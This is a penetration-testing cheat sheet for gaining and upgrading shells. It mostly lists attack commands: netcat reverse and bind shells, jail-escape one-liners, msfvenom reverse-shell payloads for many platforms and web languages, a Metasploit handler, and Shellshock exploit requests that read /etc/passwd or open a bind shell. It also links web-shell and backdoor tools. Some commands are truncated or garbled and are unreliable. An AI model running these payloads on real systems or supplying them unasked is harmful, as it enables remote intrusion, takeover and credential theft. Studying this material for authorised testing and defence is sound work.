

# Shells

Netcat Shell Listener

```
`nc -nlvp 4444`
```

Spawning a TTY Shell - Break out of Jail or limited shell

You should almost always upgrade your shell after taking control of an apache or www user.

(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )

(hint: sudo -l to see what you can run)

You may encounter limited shells that use rbash and only allow you to execute a single command per session.

You can overcome this by executing an SSH shell to your localhost:

```
ssh user@$ip nc $localip 4444 -e /bin/sh
```

enter user's password

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

```
export TERM=linux
```

```
`python -c 'import pty; pty.spawn("/bin/sh")'`
```

```
python -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
```

```
s.connect(("5ip",
```

```
`echo os.system('/bin/bash')`
```

```
`/bin/sh -i`
```

```
`perl 'exec "/bin/sh";`
```

```
perl: `exec "/bin/sh";`
```

```
ruby: `exec "/bin/sh"`
```

```
lua: `os.execute('/bin/sh')`
```

```
From within IRB: `exec "/bin/sh"`
```

```
From within vi: `:!bash`
```

```
or
```

```
`:set shell=/bin/bash:shell`
```

```
From within vim `:!bash:`
```

```
From within nmap: `!sh`
```

From within tcpdump

```
echo id\n/bin/netcat $ip 443 "e /bin/bash" > /tmp/.test chmod +x /tmp/.test sudo tcpdump ln I eth- -w /dev/null W 1
```

```
From busybox `/bin/busybox telnetd -|/bin/sh -p9999`
```

Pen test monkey PHP reverse shell

<http://pentestmonkey.net/tools/web-shells/php-reverse-shell>

php-findsock-shell - turns PHP port 80 into an interactive shell

<http://pentestmonkey.net/tools/web-shells/php-findsock-shell>

Perl Reverse Shell

<http://pentestmonkey.net/tools/web-shells/perl-reverse-shell>

PHP powered web browser Shell b374k with file upload etc.

<https://github.com/b374k/b374k>

Windows reverse shell - Powersploit's Invoke-Shellcode script and inject a Meterpreter shell

<https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1>

Web Backdoors from Fuzzdb

<https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors>

Creating Meterpreter Shells with MSFVenom - <http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most>

\*Linux\*

```
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`
```

\*Windows\*

```
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`
```

\*Mac\*

```
`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`
```

\*\*Web Payloads\*\*

\*PHP\*

```
`msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`  
OR  
`msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
```

Then we need to add the `<?php` at the first line of the file so that it will execute as a PHP webpage:  
`cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`

**\*ASP\***

```
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`
```

**\*JSP\***

```
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`
```

**\*WAR\***

```
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`
```

**\*\*Scripting Payloads\*\***

**\*Python\***

```
`msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`
```

**\*Bash\***

```
`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`
```

**\*Perl\***

```
`msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`
```

**\*\*Shellcode\*\***

For all shellcode see `~msfvenom -h` for information as to valid parameters. Msfvenom will output code

**\*Linux Based Shellcode\***

```
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
```

**\*Windows Based Shellcode\***

```
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
```

**\*Mac Based Shellcode\***

```
`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`
```

**\*\*Handlers\*\***

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells.

```
use exploit/multi/handler  
set PAYLOAD <Payload name>  
set LHOST <LHOST value>  
set LPORT <LPORT value>  
set ExitOnSession false  
exploit -j -z
```

Once the required values are completed the following command will execute your handler `~msfconsole -L -r ~`

- SSH to Meterpreter: <https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/>

```
use auxiliary/scanner/ssh/ssh_login  
use post/multi/manage/shell_to_meterpreter
```

**Shellshock**

Testing for shell shock with NMap

```
`root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip`
```

git clone <https://github.com/nccgroup/shocker>

```
`./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose`
```

**Shell Shock SSH Forced Command**

Check for forced command by enabling all debug output with ssh

```
ssh -vvv  
ssh -i noob noob@$ip '() { :; }; /bin/bash'
```

cat file (view file contents)

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () {:}; echo \\$(/etc/passwd)\r\nHost:vulnerable\r\nConne"
```

Shell Shock run bind shell

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {::}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable
```